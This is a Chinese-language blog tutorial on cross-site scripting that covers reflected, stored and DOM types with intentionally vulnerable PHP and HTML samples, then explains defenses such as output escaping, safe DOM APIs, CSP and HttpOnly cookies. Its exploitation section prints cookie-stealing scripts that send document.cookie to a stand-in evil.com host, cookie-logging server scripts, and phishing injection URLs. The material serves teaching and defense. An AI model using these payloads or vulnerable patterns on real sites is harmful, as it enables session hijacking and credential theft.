XSS 跨站脚本攻击的攻防

理解 XSS 和 CSP:保护你的 Web 应用免受恶意脚本攻击 XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的 Web 安全漏洞。攻击者通过在网页中注入恶意脚本,使其在用户浏览器中执行,从而窃取用户数据、劫持会话或进行其他恶意操作。CSP(Content Security Policy,内容安全策略)是一种浏览器安全机制,用于限制网页中可以加载和执行的资源(如脚本、样式、图片等),从而减少 XSS 和其他攻击的风险。XSS 和 CSP 是 Web 安全领域的两个重要概念。XSS 是一种常见的攻击方式,而 CSP 是一种有效的防御机制。 阅读详情

1、什么是XSS攻击

跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在 WEB 应用程序中的计算机安全漏洞,是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击。

2、XSS攻击的产生

XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。而由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。在部分情况下,由于输入的限制,注入的恶意脚本比较短。但可以通过引入外部的脚本,并由浏览器执行,来完成比较复杂的攻击策略。

这里有一个问题:用户是通过哪种方法“注入”恶意脚本的呢?

不仅仅是业务上的“用户的 UGC 内容”可以进行注入,包括 URL 上的参数等都可以是攻击的来源。在处理输入时,以下内容都不可信:

  • 来自用户的 UGC 信息

  • 来自第三方的链接

  • URL 参数

  • POST 参数

  • Referer (可能来自不可信的来源)

  • Cookie (可能来自其他子域注入)

3、XSS攻击分类

根据攻击的来源,XSS 攻击可分为存储型(持久型)、反射型和 DOM 型三种。

1、反射型XSS

反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。

反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

服务器端代码:

<?php 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Feedback for end user 
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 
} 
?>

可以看到,代码直接引用了 name 参数,并没有做任何的过滤和检查,存在明显的 XSS 漏洞。

2、持久型XSS

持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。

此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

服务器端代码:

<?php
  if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );
    // Sanitize name input
    $name = mysql_real_escape_string( $name );
    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    //mysql_close(); }
?>

代码只对一些空白符、特殊符号、反斜杠进行了删除或转义,没有做 XSS 的过滤和检查,且存储在数据库中,明显存在存储型 XSS 漏洞。

3、DOM型XSS

传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。

HTML 代码:

<html>
  <head>
    <title>DOM-XSS test</title>
  </head>
  <body>
    <script>
      var a=document.URL;
      document.write(a.substring(a.indexOf("a=")+2,a.length));
    </script>
  </body>
</html>

将代码保存在 domXSS.html 中,浏览器访问:

http://127.0.0.1/domXSS.html?a=<script>alert('XSS')</script>

即可触发 XSS 漏洞。

4、XSS利用方式与危害

1、Cookies 窃取

攻击者可以使用以下代码获取客户端的 Cookies 信息:

<script>
document.location="http://www.evil.com/cookie.asp?cookie="+document.cookie
new Image().src="http://www.evil.com/cookie.asp?cookie="+document.cookie
</script>
<img src="http://www.evil.com/cookie.asp?cookie="+document.cookie></img>

在远程服务器上,有一个接受和记录 Cookies 信息的文件,示例如下:

<%
  msg=Request.ServerVariables("QUERY_STRING")
  testfile=Server.MapPath("cookie.txt")
  set fs=server.CreateObject("Scripting.filesystemobject")
  set thisfile=fs.OpenTextFile(testfile,8,True,0)
  thisfile.Writeline(""&msg& "")
  thisfile.close
  set fs=nothing
%>
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

攻击者在获取到 Cookies 之后,通过修改本机浏览器的 Cookies,即可登录受害者的账户。

2、会话劫持

由于使用 Cookies 存在一定的安全缺陷,因此,开发者开始使用一些更为安全的认证方式,如 Session。在 Session 机制中,客户端和服务端通过标识符来识别用户身份和维持会话,但这个标识符也有被其他人利用的可能。会话劫持的本质是在攻击中带上了 Cookies 并发送到了服务端。

如某 CMS 的留言系统存在一个存储型 XSS 漏洞,攻击者把 XSS 代码写进留言信息中,当管理员登录后台并查看是,便会触发 XSS 漏洞,由于 XSS 是在后台触发的,所以攻击的对象是管理员,通过注入 JavaScript 代码,攻击者便可以劫持管理员会话执行某些操作,从而达到提升权限的目的。

比如,攻击者想利用 XSS 添加一个管理员账号,只需要通过之前的代码审计或其他方式,截取到添加管理员账号时的 HTTP 请求信息,然后使用 XMLHTTP 对象在后台发送一个 HTTP 请求即可,由于请求带上了被攻击者的 Cookies,并一同发送到服务端,即可实现添加一个管理员账户的操作。

3、钓鱼

  • 重定向钓鱼

    把当前页面重定向到一个钓鱼页面。

http://www.bug.com/index.php?search="'><script>document.location.href="http://www.evil.com"</script>
  • HTML 注入式钓鱼

    使用 XSS 漏洞注入 HTML 或 JavaScript 代码到页面中。

    http://www.bug.com/index.php?search="'<html><head><title>login</title></head><body><div style="text-align:center;"><form Method="POST" Action="phishing.php" Name="form"><br /><br />Login:<br/><input name="login" /><br />Password:<br/><input name="Password" type="password" /><br/><br/><input name="Valid" value="Ok" type="submit" /><br/></form></div></body></html>
    

该段代码会在正常页面中嵌入一个 Form 表单。

  • iframe 钓鱼

    这种方式是通过 <iframe> 标签嵌入远程域的一个页面实施钓鱼。

    http://www.bug.com/index.php?search='><iframe src="http://www.evil.com" height="100%" width="100%"</iframe>
    
  • Flash 钓鱼

    将构造好的 Flash 文件传入服务器,在目标网站用 <object> 或 <embed> 标签引用即可。

  • 高级钓鱼技术

    注入代码劫持 HTML 表单、使用 JavaScript 编写键盘记录器等。

4、网页挂马

一般都是通过篡改网页的方式来实现的,如在 XSS 中使用 <iframe> 标签。

5、DOS与DDOS

注入恶意 JavaScript 代码,可能会引起一些拒绝服务攻击。

6、XSS蠕虫

通过精心构造的 XSS 代码,可以实现非法转账、篡改信息、删除文章、自我复制等诸多功能。

5、XSS攻击防护

通过前面的介绍可以得知,XSS 攻击有两大要素:

  1. 攻击者提交恶意代码。
  2. 浏览器执行恶意代码。

针对第一个要素:我们是否能够在用户输入的过程,过滤掉用户输入的恶意代码呢?

1、输入过滤

在用户提交时,由前端过滤输入,然后提交到后端。这样做是否可行呢?

答案是不可行。一旦攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码了。

那么,换一个过滤时机:后端在写入数据库前,对输入进行过滤,然后把“安全的”内容,返回给前端。这样是否可行呢?

我们举一个例子,一个正常的用户输入了 5 < 7 这个内容,在写入数据库前,被转义,变成了 5 &lt; 7。

问题是:在提交阶段,我们并不确定内容要输出到哪里。

这里的“并不确定内容要输出到哪里”有两层含义:

  1. 用户的输入内容可能同时提供给前端和客户端,而一旦经过了 escapeHTML(),客户端显示的内容就变成了乱码( 5 &lt; 7 )。
  2. 在前端中,不同的位置所需的编码也不同。

    • 当 5 &lt; 7 作为 HTML 拼接页面时,可以正常显示:
    <div title="comment">5 &lt; 7</div>
    
    • 当 5 &lt; 7 通过 Ajax 返回,然后赋值给 JavaScript 的变量时,前端得到的字符串就是转义后的字符。这个内容不能直接用于 Vue 等模板的展示,也不能直接用于内容长度计算。不能用于标题、alert 等。

所以,输入侧过滤能够在某些情况下解决特定的 XSS 问题,但会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。

当然,对于明确的输入类型,例如数字、URL、电话号码、邮件地址等等内容,进行输入过滤还是必要的。

既然输入过滤并非完全可靠,我们就要通过“防止浏览器执行恶意代码”来防范 XSS。这部分分为两类:

  • 防止 HTML 中出现注入。
  • 防止 JavaScript 执行时,执行恶意代码。

2、预防存储型和反射型XSS

存储型和反射型 XSS 都是在服务端取出恶意代码后,插入到响应 HTML 里的,攻击者刻意编写的“数据”被内嵌到“代码”中,被浏览器所执行。

预防这两种漏洞,有两种常见做法:

  • 改成纯前端渲染,把代码和数据分隔开。
  • 对 HTML 做充分转义。

(1) 纯前端渲染

纯前端渲染的过程:

  1. 浏览器先加载一个静态 HTML,此 HTML 中不包含任何跟业务相关的数据。

  2. 然后浏览器执行 HTML 中的 JavaScript。

  3. JavaScript 通过 Ajax 加载业务数据,调用 DOM API 更新到页面上。

在纯前端渲染中,我们会明确的告诉浏览器:下面要设置的内容是文本(.innerText),还是属性(.setAttribute),还是样式(.style)等等。浏览器不会被轻易的被欺骗,执行预期外的代码了。

但纯前端渲染还需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,请参考下文”预防 DOM 型 XSS 攻击“部分)。

在很多内部、管理系统中,采用纯前端渲染是非常合适的。但对于性能要求高,或有 SEO 需求的页面,我们仍然要面对拼接 HTML 的问题。

(2)转义 HTML

如果拼接 HTML 是必要的,就需要采用合适的转义库,对 HTML 模板各处插入点进行充分的转义。

常用的模板引擎,如 doT.js、ejs、FreeMarker 等,对于 HTML 转义通常只有一个规则,就是把 & < > " ' / 这几个字符转义掉,确实能起到一定的 XSS 防护作用,但并不完善:

|XSS 安全漏洞|简单转义是否有防护作用| |-|-| |HTML 标签文字内容|有| |HTML 属性值|有| |CSS 内联样式|无| |内联 JavaScript|无| |内联 JSON|无| |跳转链接|无|

所以要完善 XSS 防护措施,我们要使用更完善更细致的转义策略。

3、预防DOM型XSS攻击

DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。

在使用 .innerHTML、.outerHTML、document.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent、.setAttribute() 等。

如果用 Vue/React 技术栈,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 阶段避免 innerHTML、outerHTML 的 XSS 隐患。

DOM 中的内联事件监听器,如 location、onclick、onerror、onload、onmouseover 等,<a> 标签的 href 属性,JavaScript 的 eval()、setTimeout()、setInterval() 等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。

<!-- 内联事件监听器中包含恶意代码 -->
![](https://awps-assets.meituan.net/mit-x/blog-images-bundle-2018b/3e724ce0.data:image/png,)

<!-- 链接内包含恶意代码 -->
<a href="UNTRUSTED">1</a>

<script>
// setTimeout()/setInterval() 中调用恶意代码
setTimeout("UNTRUSTED")
setInterval("UNTRUSTED")

// location 调用恶意代码
location.href = 'UNTRUSTED'

// eval() 中调用恶意代码
eval("UNTRUSTED")
</script>

如果项目中有用到这些的话,一定要避免在字符串中拼接不可信数据。

6、其他XSS的防范措施

虽然在渲染页面和执行 JavaScript 时,通过谨慎的转义可以防止 XSS 的发生,但完全依靠开发的谨慎仍然是不够的。以下介绍一些通用的方案,可以降低 XSS 带来的风险和后果。

Content Security Policy

严格的 CSP 在 XSS 的防范中可以起到以下的作用:

  • 禁止加载外域代码,防止复杂的攻击逻辑。
  • 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
  • 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
  • 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
  • 合理使用上报可以及时发现 XSS,利于尽快修复问题。

关于 CSP 的详情,请关注前端安全系列后续的文章。

输入内容长度控制

对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度。(此条酌情而用)

其他安全措施

  • HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。
  • 验证码:防止脚本冒充用户提交危险操作。

本文参考文章:https://ctf-wiki.github.io/ctf-wiki/web/xss/#xss_1

https://tech.meituan.com/2018/09/27/fe-security.html

 

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用 存储型XSS 存储型XSS持久化,代码是存储在服芻器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户每次访问该页面的时候都会触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃 cookie 1、hack插入恶意js 2、服务器返回含有恶意js页面 3、由于恶意js会一直存储在服务器端,所以每个目标点击含有恶意js页面都会跳转到第三方... 阅读详情

相关推荐

XSS跨站脚本攻击:从原理到实战的攻防完全指南

跨站脚本攻击(XSS)是Web安全领域的核心漏洞类型,其本质是攻击者通过注入恶意脚本,在用户浏览器中执行非授权操作。XSS攻击主要分为反射型、存储型和DOM型三种,分别对应不同的攻击场景和利用方式。从技术原理看,XSS利用了Web应用对用户输入数据缺乏充分验证和编码的缺陷,通过HTML、JavaScript等前端技术的特性实现攻击。在工程实践中,防御XSS需要建立纵深防御体系,包括输入验证、输出编码、内容安全策略(CSP)等多层防护。特别是在现代Web开发中,结合DVWA和Pikachu等靶场进行实战演练,

注重长远 天天积累 cqujsjcyj 681

Web安全基础学习:XSS跨站脚本漏洞之存储型XSS

存储型XSS漏洞:指像留言板、用户名称、日志信息等一些会存储在服务器端的信息,当攻击者在存在存储型XSS漏洞的功能点进行注入之后,任何浏览器端加载该信息的时候都会将其中的恶意代码解析,进而触发XSS攻击。该方法甚至可以在管理员审核留言或查看系统信息时触发,进而造成管理员敏感信息的泄露。因为其存储在服务器端,因此造成的危险程度、攻击范围比反射型更大更广。留言板、评论区、用户头像、个性签名、登录日志、博客等。

qq_51862722的博客 2107

【网络攻防】“跨站脚本攻击“ 第一弹 ——反射型XSS

撰稿|谢泳 编辑|王聪丽 信息收集|谢泳** 目录1. 初识XSS2. 反射型XSS2.1 Cookie劫持2.2 Get请求2.3 Post请求3. 防御方式 1. 初识XSS 跨站脚本攻击(Cross Site Script, XSS)是利用web前端代码注入来篡改页面,执行恶意脚本,达到窃取数据、冒充身份等目的的攻击方法。 浏览器根据HTML代码解析页面,现在的HTML中可以有很多JavaScript脚本,XSS攻击则是利用前端代码的漏洞,插入恶意代码。 XSS攻击者必须有一定的JavaScri.

翼安研习社的博客 2755

web安全第八天:跨站脚本攻击

跨站脚本攻击

cc777777777的博客 1319

XSS跨站脚本攻击:从原理到实战的攻防指南

跨站脚本攻击是Web安全领域的核心威胁之一,其本质在于恶意脚本在用户浏览器中的非授权执行。攻击者通过注入恶意代码,可窃取用户Cookie、劫持会话或实施钓鱼诈骗,对Web应用安全构成严重挑战。理解XSS攻击的原理,掌握反射型、存储型和DOM型等不同类型,是构建有效防御体系的基础。在工程实践中,通过输入验证、输出编码、内容安全策略等多层次防护,结合DVWA等靶场环境进行实战演练,能显著提升应用的安全性。本文深入探讨了XSS的攻击手法与防御策略,为开发者提供了从理论到实践的完整解决方案。

weixin_29315569的博客 301

XSS跨站脚本攻击:从原理到实战的全面攻防指南

跨站脚本攻击(XSS)是Web安全领域最常见且危害巨大的漏洞类型之一,其核心原理在于浏览器将用户输入的数据误解析为可执行代码。从技术实现角度看,XSS攻击主要分为反射型、存储型和DOM型三种类型,攻击者通过构造恶意Payload,利用网站对用户输入过滤不严的缺陷,在受害者浏览器中执行任意JavaScript代码。这种攻击的技术价值在于其极高的灵活性和隐蔽性,能够绕过传统安全防护机制,实现会话劫持、敏感信息窃取等恶意行为。在实际应用场景中,XSS漏洞常出现在搜索框、评论系统、URL参数处理等用户输入输出点,攻

weixin_30729609的博客 384

跨站脚本攻击漏洞(XSS):基础知识和防御策略

跨站脚本攻击漏洞-基础篇

weixin_43263566的博客 1万+

XSS跨站脚本攻击:从原理到防御的完整攻防指南

跨站脚本攻击(XSS)是一种常见的Web安全漏洞,其核心原理在于攻击者能够将恶意脚本注入到目标网页中,当其他用户访问该页面时,脚本会在其浏览器中执行。这种攻击之所以危险,是因为它利用了浏览器对同源策略的信任机制——恶意脚本一旦被注入,就被视为来自可信源,从而获得操作页面DOM、访问Cookie等敏感数据的权限。从技术价值看,理解XSS不仅有助于提升Web应用的安全性,更是前端与后端开发者在构建健壮系统时必须掌握的基础安全知识。在实际应用场景中,XSS攻击常被用于窃取用户会话凭证、实施钓鱼欺诈、甚至发起进一步

weixin_33672400的博客 505

XSS(跨站脚本攻击)攻防

比如,攻击者在一个留言板上提交包含恶意脚本的留言,当其他用户查看留言板时,浏览器会执行恶意脚本,攻击者可以获取这些用户的信息或者控制他们的浏览器。- 例如,攻击者构造一个特殊的 URL,其中包含恶意脚本,当用户访问该 URL 时,浏览器会解析 URL 参数并执行恶意脚本。- 例如,在开发过程中,使用安全的模板引擎和框架,遵循最佳的安全实践,可以降低 XSS 攻击的风险。- 例如,在服务器端对用户提交的表单数据进行过滤,去除危险字符,确保输入的数据是安全的。3. DOM 型 XSS 攻击。

m0_57836225的博客 804

XSS漏洞攻防实战:从原理到靶场,掌握跨站脚本攻击与防御

跨站脚本攻击(XSS)是Web安全领域最基础且常见的漏洞类型之一,其核心原理在于攻击者能够将恶意脚本注入到网页中,并被受害者的浏览器执行。从技术价值看,XSS不仅可能导致用户会话被劫持、敏感数据被窃取,还可能成为网络蠕虫传播的跳板,危害性远超简单的弹窗演示。在应用场景上,XSS广泛存在于用户输入点,如URL参数、表单提交和动态内容渲染等环节。针对XSS的防御,需要结合输入验证、输出编码和内容安全策略(CSP)等多层机制。本文聚焦于XSS漏洞的实战检测与利用,深入解析了反射型、存储型和DOM型XSS的区别,并

weixin_34393428的博客 560

【网络攻防】“跨站脚本攻击” 第二弹 ——存储型XSS

撰稿|谢泳 编辑|王聪丽、虞珍妮 信息收集|谢泳 目录1. 前言2. 什么是存储型XSS3. 攻击原理4. 防御方式 1. 前言 上一篇介绍了跨域脚本攻击中的“反射型XSS”,列举和解释了恶意脚本注入的一些主要方式以及规避方法。事实上,除了直接注入JavaScript之外,还可以通过第三方比如flash、Java applet等进行攻击。 这些第三方工具有自己的运行环境,例如flash中使用ActionScript作为脚本,可以实现丰富灵活的功能,也为XSS提供了可乘之机,所以要避免加载用户自定义..

翼安研习社的博客 1828

网站攻防之CSRF和XSS跨站脚本攻击

进入正题之前,先扯一番:黑客本义并非某些人以为的利用网络干坏事的人,刚开始或者说现在的很多,黑客是以技术大牛的形式存在的,也就是在网络领域有一门专场的牛人。有些黑客不干坏事而是干好事,比如利用网站的漏洞,去告诉网站开发运营者你的网站有漏洞,要修补啦,他们却并不会利用这漏洞干坏事,而是以发现漏洞追求技术快感为享受。 说是网站攻防演练,但估计这套东西已经很老很少用了,毕竟作为课程实验的实例都是“经典

1万+

[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)

这是作者的系列网络安全自学教程,主要是关于网安工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步。前文分享了Python弱口令攻击、自定义字典生成,并构建了Web目录扫描器;本文将详细讲解XSS跨站脚本攻击,从原理、示例、危害到三种常见类型(反射型、存储型、DOM型),并结合代码示例进行详细讲解,最后分享了如何预防XSS攻击。本文参考了爱春秋ADO老师的课程内容,这里也推荐大家观看他Bilibili和ichunqiu的课程,同时也结合了作者之前的编程经验进行讲解。

杨秀璋的专栏 2万+

Web攻防第 03 讲:XSS跨站脚本攻击

主要基于JS脚本进行恶意攻击行为 一、XSS的危害 XSS利用JS代码实现攻击,有很多种攻击方法,一下简单列出多种 盗取各种用户账号 盗取用户Cookie资料,冒充用户身份进入网站 劫持用户会话,执行任意操作 刷流量,执行弹窗广告 传播蠕虫病毒 二、XSS漏洞的验证方法 我们可以用一段简单的代码来验证和检查漏洞的存在,这样的代码叫POC(Proof of Concept) POC:漏洞的验证与检测 EXP:漏洞的完整利用工具 shellcode:利用漏洞时,所执行的代码 ...

分享日常工作技术 1508

AI提示词实战:用EARS语法5步搞定产品需求拆解(附完整案例)

本文详细介绍了如何运用EARS语法将模糊的产品需求进行原子化拆解,转化为清晰、可执行的结构化指令。通过一个完整的自由职业者项目管理工具案例,演示了从原始需求分析到构建增强AI提示词的五步实战流程,帮助产品经理和技术人员实现高效、精准的需求传达与协作。

nokia的博客 1031

基于角谱传播的MATLAB仿真:从相位恢复看自由空间光传播

本文详细介绍了基于角谱传播理论的MATLAB仿真方法,用于模拟自由空间光传播过程。通过傅里叶光学原理,将光场分解为频谱并应用传播相位滤波器,实现了从纯相位物体到可观测衍射图样的仿真。文章结合具体代码,演示了如何利用角谱法进行相位恢复,为计算成像和生物医学检测等领域的研究提供了实用的仿真工具和思路。

weixin_29055699的博客 279

xss跨站脚本攻击_【攻防技术类书籍10】XSS跨站脚本攻击剖析与防御

XSS跨站脚本攻击剖析与防御内容简介XSS跨站脚本攻击剖析与防御是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下。第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS的攻击原理和危害。第2章 XSS利用方式,就当前比较流行的XSS利用方式做了深入的剖析,这些攻击往往基于客户端,从挂马、窃取Cookies、会话劫持到钓鱼欺骗,各种攻击都不容忽视。第3章 XSS测试和利用...

weixin_39623244的博客 279

基于vivado实现FFT/IFFT

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录前言一、实现的功能二、配置1.调用DDS的IP核2.调用FFT的IP核三、结果分析1.调用DDS的IP核2.读入数据总结 前言 提示:这里可以添加本文要记录的大概内容: 例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习机器学习,本文就介绍了机器学习的基础内容。 提示:以下是本篇文章正文内容,下面案例可供参考 一、实现的功能 示例:pandas 是基于NumPy 的一种工具,该工具是为了解决数据分析任

qq_45600102的博客 1万+

XSS跨站脚本攻击:从原理到实战的完整攻防指南

XSS(Cross-Site Scripting,跨站脚本攻击)是指攻击者向网页中注入恶意 JavaScript 代码,当其他用户浏览该页面时,浏览器会执行这段恶意代码,从而达到窃取 Cookie、键盘记录、钓鱼跳转等目的。为什么叫"跨站"?早期这种攻击常常利用一个网站上的漏洞,去窃取另一个网站(如银行)的 Cookie。虽然现在同源策略限制了跨站读取 Cookie,但 XSS 的名称保留了下来。今天的 XSS 攻击更多是在同一个域名下执行恶意脚本。

2601_96615542的博客 425

PotPlayer 史诗级更新!实时字幕生成+实时翻译,看片真的无敌了!

potplayer已经更新实时字幕生成+实时字幕翻译功能

阿虚同学的博客 1万+

告别迷茫!手把手教你用Synopsys VC USB VIP搭建验证平台(附UVM分层序列实战解析)

本文详细介绍了如何使用Synopsys VC USB VIP搭建验证平台,并深入解析UVM分层序列的实战应用。通过Step-by-Step的操作指南和关键配置示例,帮助验证工程师高效集成USB VIP,掌握从环境搭建到测试用例开发的全套技能,特别适合处理复杂协议验证的挑战。

weixin_42520573的博客 552

WEB 攻防-通用漏-XSS 跨站脚本攻击-反射型/存储型/DOM&BEEF-XSS

XSS攻击,全称为跨站脚本攻击,是指攻击者通过在网页中插入恶意脚本代码,当用户浏览该网页时,恶意脚本会被执行,从而达到攻击目的的一种安全漏洞。这些恶意脚本可以窃取用户的敏感信息,如Cookie、会话令牌等,或者诱导用户执行不安全的操作,如点击恶意链接、下载恶意软件等。

weixin_45534587的博客 1531

LDA主题模型简介及Python实现

一、LDA主题模型简介 LDA主题模型主要用于推测文档的主题分布,可以将文档集中每篇文档的主题以概率分布的形式给出根据主题进行主题聚类或文本分类。 LDA主题模型不关心文档中单词的顺序,通常使用词袋特征(bag-of-word feature)来代表文档。词袋模型介绍可以参考这篇文章:文本向量化表示——词袋模型 - 知乎 了解LDA模型,我们需要先了解LDA的生成模型,LDA认为一篇文章是怎么形成的呢? LDA模型认为主题可以由一个词汇...

weixin_41168304的博客 20万+
上一篇: Sql注入攻击介绍与防护
下一篇: XXE(XML实体注入)攻击介绍与防御
han_code
博客等级 码龄9年 5粉丝 2原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值